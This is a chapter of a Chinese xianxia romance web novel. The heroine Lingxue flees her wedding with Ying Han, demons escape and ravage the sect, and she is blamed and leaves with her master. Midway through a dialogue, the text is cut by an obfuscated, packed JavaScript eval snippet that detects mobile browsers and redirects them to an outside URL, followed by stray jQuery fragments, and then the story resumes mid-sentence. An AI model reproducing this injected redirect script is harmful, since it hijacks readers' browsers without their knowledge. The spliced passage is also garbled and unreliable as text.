38. 见异思迁

作品:《强制高岭之花翻车后

    天地一片白茫茫,唯独那一抹红,即便在黑夜里也如此醒目。


    令雪的手从未这么凉过,头发散乱披下,她环着双膝,像只无害的幼兽。


    应寒抱起她,并没有发现沉华的身影。


    他用指腹小心翼翼抹掉她唇上的血,不问她发生了什么,只道:


    “我带你走吗?”


    令雪蜷在他怀里,点了点头。


    飞剑直上万里,迅疾越过上清宗山门,令雪远远看着,直到它彻底消失在视野里,才揪住应寒的衣襟闭上双眼。


    肚腹渐渐暖胀起来,妖力越发充盈,她昏昏欲睡,风声也好像止息——


    温热的手掌捂住了她的耳朵。


    应寒许久之后停下,随意进了家客栈。


    “要间上房。”


    “令雪。”应寒似乎在试着叫醒她,声音却细如蚊呐。


    他盯着她,放开手。


    最贵的房间里是有浴池的,不过她既然熟睡,只好由他照顾。


    应寒取出一块干净的布巾,用温水打湿,替她擦拭手指。


    和兽形时不同,作为人的令雪指甲圆润,甲床是粉色的,带着月牙,没什么狰狞的端倪,任谁也看不出这只手能随便对人掏心掏肺。


    应寒的动作停顿片刻。


    他的犹豫持续了短短一瞬,随即便解开她的腰带,替她脱下层层叠叠的嫁衣。


    他原本只想让她睡得舒服些,但她微微敞开的领口露出了细小的伤痕。


    令雪似乎察觉到触及身体的软和被子,脸颊在被面蹭了蹭。


    应寒看了很久才挪开目光,开始一丝不苟地帮她擦身、涂药。


    过了一会儿,他忽然露出匪夷所思的神色。


    被泡进池子里的令雪蓦然睁眼,诧异地发现身上只剩一件肚兜,表情古怪地瞅瞅跟前的应寒:“你……”


    他倒是顶着一张臭脸,不知道为什么怒气冲冲,径直打断她的话。


    “洗干净再睡。”


    她低头看看:“挺干净啊。”


    应寒有点咬牙切齿:“你含着他的……”


    他说不下去,令雪却反应过来:“哦。”


    令雪说:“那你转过去。”


    他转了个身。


    细碎的水声很快止住,令雪湿漉漉走出来,被劈头盖脸捋干。她狼狈地揉揉乱七八糟的头发,愤愤瞪他一眼,什么瞌睡都没了。


    令雪把衣裳穿好,头发拢到一侧梳理。因为打了结绊得很疼,耐心告罄,她手上用力扯下来一大团,应寒眼皮直跳,抢过她的梳子替她梳,不高兴地骂她:“笨蛋。”


    令雪反手啪的一下朝他大腿拍一巴掌:“你这张嘴怎么这么讨厌?”


    他冷哼一声,并不觉得自己有错。


    令雪等不到他还嘴,又问:“这是哪儿?”


    “瀛洲。”


    令雪露出匪夷所思的神色。


    上清宗所在的元洲与位居中央九洲的长洲比邻,瀛洲可是西南最边上的地方。


    “跑这么远?”


    “以防你半路反悔。”


    令雪上下扫视他:“我跟你反什么悔?”


    应寒冷笑一声:“大婚当晚跟我走,和私奔有什么区别?我又猜不到你会不会突然铁了心回去和他继续做对好夫妻……”


    “那倒不会。”令雪说,“因为他已经死了。”


    恰在这时,一阵清风入内,司云徵疲惫的嗓音自耳畔响起。


    ‘沉华魂名既散,勿归。’


    -


    明光辉映,承生崖上亮如白昼,数千只巨兽盘踞在阵法当中,仍有源源不断的妖族从监牢爬出。


    它们都望着同一个方向。


    司云徵呕出一口血,仍然尽力维持那道屏障。


    他的法力早便用尽,灵脉因过度的消耗隐隐作痛,只是苦苦维系。


    众妖忽然伏地,恭敬地垂下头颅,司云徵听到身后的脚步声时,已经无法回头。


    一只手穿透他肩头,腕骨在空洞内闲适转了转,收回了些,指尖陷入血肉,将他高高抛入兽群——


    火焰化作的双翼在半空垂下炽热流光,伏渊抓住坠落的司云徵,皱眉看向被簇拥着的高大人影。


    他戴着丑陋可怖的乌木面具,发出低不可闻的嗤笑,骤然消失在妖群里。


    失去束缚、被关押许久的妖兽们恢复自由,嘶吼着四散奔逃,尖锐刺耳的鸟鸣回荡在重新陷入黑暗的夜晚。


    一场血腥的杀戮开始了。


    -


    令雪回到上清宗时,见到满地污血与残肢。


    她终于知道伏渊为什么总是趾高气扬。


    唯一存世的四方神朱雀陵光即便实力不复往昔,也能燃尽己身抵挡满心仇恨的妖兽,庇护偌大宗门。


    尽管如此,并非无人在这一晚受伤。


    她和应寒被宁容领到断生殿,凌正青吊着手臂,身旁铺了软垫的位置上端端正正放着枚火红的大蛋。


    “十二殿皆有损毁,护持阵法在强攻下反噬诸多弟子。陵光殒命涅槃,宗门元气大伤——”


    “令雪,我只想问你,梵净因何而亡?”


    令雪直言:“因为我。”


    凌正青问:“你杀了他?”


    她思索片刻:“他杀了自己,但确实是因为我。”


    宁容欲言又止,令雪冲她笑了笑。


    凌正青气得捂住心口:“你和上清宗究竟有何等深仇大恨,要害我们到如此地步?!”


    “你觉得这次的事都是我的缘故?”


    “新婚当日彻夜不归,又是和应寒同回,梵净岂非因你见异思迁才万念俱灰毁去承生崖,酿出大祸!”他勃然大怒,“应寒——宗主收你入门,让云徵教养你,你竟不顾是非对错,也为私情昏头!”


    “我很早就想说了。”令雪虽然为他们的安危有些后怕,但因为最大的受害者是伏渊,并不觉得心虚,更不觉得有多少是自己的错,“邪修被抓住杀了就好,恶妖却要关进监牢等以后随时‘取用’,修士越来越多,关进去的妖也越来越多,从前凭沉华看管,现在也全部是他的责任。半步真仙确实厉害,可终归是人,会有疏忽,会带私心。”


    “第一次有我和应寒挡在渡集入口,第二次有伏渊用命保护,以后继续这样?第三次呢?第三次你们全都会死光!”


    宁容脸色大变,偷偷冲她摆手,殿内其他弟子也神情各异,凌正青拍着胸口嗬嗬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765799|189865||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抽气,简直快要晕死过去:“混账!混账!”


    令雪这些话憋了很久!


    沉华本来就因为忍受吵闹脾气不好,几百年里整天待在承生崖闷也闷出病。他跟她谈过去游历九洲的时候还有点意气,最后却像个疯子,总不会是忽然变成这样。把全宗门安危放在那么一两个人肩上,就算没有她也迟早会出事。


    经常待在殿里的那几个长老,有一个算一个,脾气全都臭!


    反正伏渊变成蛋了没人能治她,令雪天不怕地不怕,瞪着眼睛问:“我师尊呢?!”


    凌正青抖着手指她:“他也要被你这个混账害死了!快——快把这混账给我绑起来!”


    宁容慢吞吞掏出绳索,令雪拉着应寒拔腿就跑,把这个吵闹的老男人抛之脑后。


    临官殿内,司云徵双目紧闭,面色惨白,虚弱地躺在床上,令雪一看他这个样子立马心疼得忘了三七二十一就要冲过去,被应寒拎起来放到边上站好,泫然欲泣地坐到他身旁。


    “师尊……师尊你要死了吗……师尊你别死、师尊我不会让你死……我去骗紫府三元镜……呜呜呜都怪你……谁叫你跑那么远的……”


    司云徵艰难睁眼:“……”


    令雪用他的袖子擦眼泪,闻到浓浓药味,哭得更凶。


    应寒拉着脸抱着剑杵在三尺开外,司云徵努力抬手摸了摸她的头:“谁教你骗人的?”


    她一下子哽住,猛地咳嗽起来,俯身紧紧抱住他,吸了吸鼻子。


    他温柔询问:“所以昨夜发生了什么?整个承生崖都塌陷了。”


    “我……”她想了想,声音慢慢低下去,“我和他吵了一架。只是吵了一架。”


    司云徵没有继续追问。


    宁容很快赶来,她对令雪不怀恶意,只是隐隐带着担忧。


    “上清宗这么久以来第一次出这种大变故,师尊也是方寸大乱,话才说得重,你不要怪他。”


    “但……我当然知道不是你的错,其他人难免对你有成见,或者说些闲言碎语……这件事最后又一定会找出个‘罪魁祸首’来。”


    宁容抿了抿唇,令雪明白她的意思。


    她当然是那个“罪魁祸首”。


    司云徵却道:“你不必为难。我已抹去洞虚阁中我与她的魂名。非要寻个名目……就说我因故和梵净起了争执,大战一场,心知有错,自请驱逐吧。”


    “我自作主张。”他看向令雪,“没有提前过问你的意思。你想留在宗门的话……”


    “我跟你走。”她打断了他的话,“我跟你走,做散修也可以,去哪里都好。”


    应寒疑惑出声:“我呢?”


    司云徵道:“这件事原本就与你无关,又怎么能牵连到你?”


    他冷冷地说:“谁说与我无关,凌正青都指责我和——”


    她扑过去摁他的嘴。


    “——令……唔………”


    令雪恶狠狠用眼神示意他闭嘴,爬起来换上人畜无害的表情感动地抱住宁容:“多谢师姐关怀,我会想你的。”


    宁容非常温柔地拍拍她的背,她们依依不舍告了许久的别,令雪最后嘱咐:“要记得和师兄师姐们说我会偷偷回来看你们的……”